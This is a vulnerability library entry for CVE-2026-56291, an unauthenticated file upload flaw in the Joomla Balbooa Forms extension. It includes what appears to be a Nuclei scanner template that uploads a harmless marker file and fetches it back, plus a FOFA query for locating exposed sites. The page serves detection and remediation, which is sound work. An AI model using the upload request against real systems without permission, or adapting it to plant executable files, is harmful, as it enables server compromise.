/Vulnerability Library

Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload

CVE-2026-56291
Verified

Description

Joomla Balbooa Forms contains an unrestricted file upload vulnerability caused by lack of authentication checks, letting unauthenticated attackers upload executable files and achieve remote code execution.

Severity

Critical

CVSS Score

9.8

Exploit Probability

15%

Affected Product

forms

Published Date

July 14, 2026

Template Author

nick vidovic, 0x_akoko

CVE-2026-56291.yaml
id: CVE-2026-56291

info:
  name: Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload
  author: Nick Vidovic,0x_Akoko
  severity: critical
  description: |
    Joomla Balbooa Forms contains an unrestricted file upload vulnerability caused by lack of authentication checks, letting unauthenticated attackers upload executable files and achieve remote code execution.
  impact: |
    Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.
  remediation: |
    Update to the latest version of Balbooa Forms extension.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56291
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56291
    epss-score: 0.14595
    epss-percentile: 0.96373
    cwe-id: CWE-434
  metadata:
    verified: false
    max-request: 1
    vendor: balbooa
    product: forms
    framework: joomla
    fofa-query: body="com_baforms"
  tags: cve,cve2026,joomla,balbooa,baforms,file-upload,rce,vuln,kev,vkev

variables:
  marker: "{{to_lower(rand_base(8))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

        ------WebKitFormBoundary
        Content-Disposition: form-data; name="form_id"

        1
        ------WebKitFormBoundary
        Content-Disposition: form-data; name="file"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-56291-{{marker}}
        ------WebKitFormBoundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /images/baforms/uploads/form-0/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-56291-{{marker}}")'
        condition: and
# digest: 4a0a00473045022100e95255c44bb5a599de23c607e680ca640dafe493d6ddac973aa1d270c278742d02202b4d7690f0f27671757fbd5537c5210f1320a0a68406380223d8bc9def922cb4:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-56291
CWE ID:
cwe-434

References

https://nvd.nist.gov/vuln/detail/CVE-2026-56291https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Remediation Steps

Update to the latest version of Balbooa Forms extension.